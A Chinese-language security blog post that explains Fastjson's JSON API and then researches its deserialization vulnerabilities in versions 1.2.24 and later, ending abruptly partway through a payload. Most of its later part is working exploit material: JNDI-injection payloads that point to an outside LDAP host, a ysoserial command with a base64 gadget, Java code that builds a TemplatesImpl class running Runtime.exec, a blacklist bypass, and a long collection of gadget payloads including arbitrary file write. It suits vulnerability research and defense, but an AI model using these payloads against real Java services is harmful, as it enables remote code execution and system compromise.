Java Fastjson反序列化漏洞研究 - 郑瀚Andrew
2023-11-9 09:21:0 Author: www.cnblogs.com(查看原文) 阅读量:21 收藏

JSON是一种轻量级资料交换格式,其内容由属性和值所组成,因此也有易于阅读和处理的优势,JSON也是目前最为流行的C/S通讯方式。JavaEE的规范中制定了Java API for JSON Processing (JSON-P,JavaEE7+)和Java API for JSON Binding (JSON-B,JavaEE8+)规范,但是在JavaEE的request中无法直接获取JSON请求中的参数,需要借助MVC框架和第三方JSON解析库。

Fastjson是阿里巴巴的一个开源项目,在GitHub上开源,使用Apache 2.0协议。它是一个支持Java Object和JSON字符串互相转换的Java库。

Fastjson最大的特点在于它的快速,它超越了JackJson、Gson等库。据官方发布的说明,Fastjson从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。因此这是Java中的JSON库的不二选择。

Fastjson功能强大,支持Java Object、Map、Date、Enum等的序列化和反序列化,支持泛型,支持流式处理,支持序列化和反序列化的扩展处理,支持对无源码Java Object的序列化。

Fastjson API入口类是com.alibaba.fastjson.JSON,常用的操作都可以用JSON类上的静态方法直接完成。下面是一些常用API的示例。

// 将Java Object序列化成JSON字符串
public static String toJSONString(Object object);

// 将JSON字符串反序列化为Java Object
public static final JSONObject parseObject(String text);

// 将JSON字符串反序列化为泛型T
public static <T> T parseObject(String text, Class<T> clazz);

以下是一个简单的示例,

UserInfo.java

package org.example;

import com.alibaba.fastjson.*;

class UserInfo
{
    private String name;
    private int age;
    public void setName(String name)
    {
        this.name = name;
    }
    public String getName()
    {
        return name;
    }

    public void setAge(int age)
    {
        this.age = age;
    }
    public int getAge()
    {
        return age;
    }
}

Main.java

package org.example;

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        UserInfo userInfo = new UserInfo();
        userInfo.setName("LittleHann");
        userInfo.setAge(20);
        // 将对象转换为JSON字符串
        String str = JSON.toJSONString(userInfo);
        System.out.println("JSON = " + str);
        // 将JSON字符串转换为对象
        UserInfo obj = JSON.parseObject(str, UserInfo.class);
        System.out.println("Object = name: " + obj.getName() + ", age: " + obj.getAge());

    }
}

参考链接:

https://github.com/alibaba/fastjson
https://yuankong11.gitbook.io/fastjson/yi-.-fastjson-jian-jie
https://blog.csdn.net/cold___play/article/details/124525519

先引入fastjson1.2.24依赖,

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

UserInfo.java

package org.example;

public class UserInfo {
    private String name;
    private int age;
    private String hobby;

    public UserInfo() {
    }

    public UserInfo(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge");
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}

测试类Main.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        UserInfo user = new UserInfo("张三",18,"学习");

        String s1 = JSON.toJSONString(user);
        //String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
        //System.out.println(s2);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s1);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s1);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s1,Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());

    }
}

其中JSON.toJSONString(user)的功能为将类转换为json字符串,并且在转换的同时调用了get方法,这是fastjson反序列中一个重要的点。

接着往下看,看下面三行代码,

JSON.parse(s1)
JSON.parseObject(s1)
JSON.parseObject(s1,Object.class)

它们输出结果一致,其功能都为将json字符串转化为一个类,且都会转换为JSONObject类,但实则他们的具体实现肯定不一样,

  • parse会转换为@type指定的类
  • parseObject会默认指定JSONObject类
  • 而在parseObject参数中加一个类参数则会转换为其指定的类(这里指定Object会自动转化为JSONObject)

接下来修改一下Main.java代码,

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        UserInfo user = new UserInfo("张三",18,"学习");

        //String s1 = JSON.toJSONString(user);
        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        //System.out.println(s1);
        System.out.println(s2);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s2);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s2);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s2,Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());

    }
}

  • 先来看第一部分,
    • 调用了两次get方法这是因为调用了两次toJSONString
    • 接着看s2的输出结果中带有一个@type参数,值为UserInfo类,区别在于在toJSONString中加了一个SerializerFeature.WriteClassName参数,其会将对象类型一起序列化并且会写入到@type字段中
  • 第二部分,parse进行反序列化,因此json字符串中有@type因此会自动执行指定类的set方法,并且会转换为@type指定类的类型
  • 第三部分,parseObject进行反序列话时会自动执行@type指定类的get和set方法,并且转换为JSONObject类
  • 第四部分,虽然我们指定了类为Object类,但是我们传进去的json字符串中有@type指定的类导致其会转换为其指定的类,并自动执行了指定类的set方法

第一和第二部分很普通没什么可说的,我们重点来分析一下第三和第四部分。

对第三部分的parseObject()下断点调试,

先进行了parse然后执行toJSON并且强制转换为JSONObject类,其中parse会调用set方法,toJSON会调用get方法。

对第四部分的parseObject()下断点调试, 

虽然我们指定了类为Object类,但是我们传进去的json字符串中有@type指定的类导致其会转换为其指定的类,为什么指定了Object类后输出结果却为@type指定的类型?

继续跟踪代码,在com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze中进行了对type的判断也就是一开始传的Object.class,会首先判断是否是类,然后如果是Object.class和Serializable.class的话会直接进入到parser.parse(fieldName)中,

继续往下跟进会进入到DefaultJSONParser中,会提取@type的值转换为其指定的类,

攻击者可以通过@type将外部JSON输入反序列化为特定恶意类(存在gadget利用链的恶意类),攻击者可以通过反序列化Beans注册机制赋值设置类成员值,同时因为恶意类的setter/getter会自动反射执行(通过反射取值和赋值),同时又因为setter/getter中存在风险操作。这里就给了攻击者利用setter/getter方式构造一个恶意类gadgets,当业务代码中存在JSON.parseObject("攻击者可控JSON输入",Object.class)时,就可能导致fastjson反序列化漏洞。

其中getter自动调用还需要满足以下条件: 

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  • 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  • fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略"_","-"字符串
  • fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

一个题外话,fastjson的风险面原理和Jackson反序列化漏洞的风险面原理类似。

参考链接:

在这个版本中有两条链子:

  1. com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

0x1:com.sun.rowset.JdbcRowSetImpl

json payload如下,

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://a465b45cdf.ipv6.1433.eu.org/evil","autoCommit":true}

poc1.java

package org.example;

import com.alibaba.fastjson.JSON;

public class poc1 {
    public static void main(String[] args) {
        String json_input = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://a465b45cdf.ipv6.1433.eu.org/evil\",\"autoCommit\":true}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

fastjson的反序列化风险面上一章已经分析过了不再赘述,

这里直接来看一下JdbcRowSetImpl中的setAutoCommit函数,当this.conn为null的时候会进入到this.connect()中,而this.conn在构造函数中初始为null。

继续跟进可以看见var1.lookup()经典的JNDI注入,且DataSourceName可控,

最终导致JNDI注入。 

总结一下漏洞触发的原理:

  • 业务代码中存在JSON.parseObject("攻击者可控JSON输入",Object.class),fastjson会按照传入JSON中@type指定的“com.sun.rowset.JdbcRowSetImpl”类进行反序列化
  • fastjson会将JSON中的key-value注册为类成员时,会自动通过反射动态调用“com.sun.rowset.JdbcRowSetImpl”类的setter/getter函数,在本gadget中就是setAutoCommit()
  • fastjson会将JSON中的key-value注册为类成员,这给了攻击者控制对应类成员value值的机会,在本gadget中就是this.getDataSourceName()
  • “com.sun.rowset.JdbcRowSetImpl”的setAutoCommit()中存在lookup风险操作,同时参数就是攻击者可控的this.getDataSourceName()

综上因素,攻击者构造了一个fastjson反序列化“com.sun.rowset.JdbcRowSetImpl”gadget链,实现了JNDI注入的攻击目的。

0x2:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload生成,

/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/bin/java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app/Contents/MacOS/Calculator '|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

也可以自己编译生成gadget并进行base64加密得到_bytecodes,

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

} 

json payload如下,

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

poc2.java

package org.example;

import com.alibaba.fastjson.JSON;

public class poc2 {
    public static void main(String[] args) {

        String json_input = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AD4vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yIHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4\"],'_name':'exp','_tfactory':{ },\"_outputProperties\":{ }}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

这个链子利用条件比较苛刻,因为要用到的变量都是private的需要在反序列化时加上Feature.SupportNonPublicField参数。

先来看一下TemplatesImpl的getOutputProperties方法,它是_outputProperties的getter方法,在前面讲到过Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串,这里还用到了另一个功能点就是因为最后payload为byte[]会进行base64编码。

继续往下看这里会去调用newTransformer(),在newTransformerImpl对象时会进入到getTransletInstance()中,

继续跟进,在getTransletInstance()中,如果在_name不等于null且_class等于null时会进入到defineTransletClasses()中,

这里先继续往下看,其中_transletIndex为-1,也就是说会对_class数组中的第一个类进行实例化,并且会强制转换为AbstractTranslet,接下来来看下class是怎么来的。

跟进到defineTransletClasses()中,通过for循环加载_bytecodes[]来加载类,也就是说_bytecodes[]就是我们构造注入的点,其中_tfactory不为null,并且因为加载完类后会强制类型转换为AbstractTranslet,也就是说加载的类必须为AbstractTranslet的子类,这样整条链子构造完毕了。

总结一下TemplatesImpl链子要满足的点:

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

TemplatesImpl gadget执行链:

#!java
TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
        Class.newInstance()
          ...
            MaliciousClass.<clinit>()
            //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码
              ...
                Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。  

参考链接:

http://drops.xmd5.com/static/drops/papers-14317.html
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.26</version>
        </dependency>
    </dependencies>

0x1:com.sun.rowset.JdbcRowSetImpl

poc1.java

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class poc2 {
    public static void main(String[] args) {

        String json_input = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://a465b45cdf.ipv6.1433.eu.org/evil\",\"autoCommit\":true}";
        System.out.println(json_input);
        System.out.println("-----------------------------------------------------");

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
        Object parse = JSON.parseObject(json_input,Object.class);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
    }
}

在此版本中,fastjson主要进行了两项漏洞修复:

  • 新增了黑名单和白名单功能,在ParserConfig中,可以看到黑名单的内容
  • 在ParserConfig中,设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测

接着来看一下checkAutoType怎么进行拦截的,在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常。

接着继续往下看,从Mapping中寻找类然后继续从deserializers中寻找类,如果autoTypeSupport没有开启的情况下,会对指定的@type类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass中,

在TypeUtils.loadClass中,可以看到对"[ L ;"进行了处理,而其中在处理"L ;"的时候存在了逻辑漏洞,可以在@type的前后分别加上“L ;”来进行绕过。

至此绕过checkAutoType的检查逻辑,后续利用过程和上文一样,不再赘述。

参考链接:

https://tttang.com/archive/1579/
https://www.cnblogs.com/nice0e3/p/14601670.html
https://xz.aliyun.com/t/12096

JdbcRowSetImpl

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://127.0.0.1:23457/Command8",
    "autoCommit": true
}

TemplatesImpl

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgA...k="],
    '_name': 'su18',
    '_tfactory': {},
    "_outputProperties": {},
}

JndiDataSourceFactory

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
      "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

SimpleJndiBeanFactory

{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    "propertyPath": "su18",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://127.0.0.1:23457/Command8"
      ]
    }
}

DefaultBeanFactoryPointcutAdvisor

{
  "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://127.0.0.1:23457/Command8"
     ]
   },
   "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

{
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
  }

JndiRefForwardingDataSource

{
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "loginTimeout": 0
  }

InetAddress

{
    "@type": "java.net.InetAddress",
    "val": "http://dnslog.com"
}

Inet6Address

{
    "@type": "java.net.Inet6Address",
    "val": "http://dnslog.com"
}

URL

{
    "@type": "java.net.URL",
    "val": "http://dnslog.com"
}

JSONObject

{
    "@type": "com.alibaba.fastjson.JSONObject",
    {
        "@type": "java.net.URL",
        "val": "http://dnslog.com"
    }
}
""
}

URLReader

{
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://127.0.0.1:9999"
        }
    }
}

AutoCloseable 任意文件写入

{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
    },
    "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
    }
}

BasicDataSource

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

JndiConverter

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    }
}

JndiObjectFactory

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

{
    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
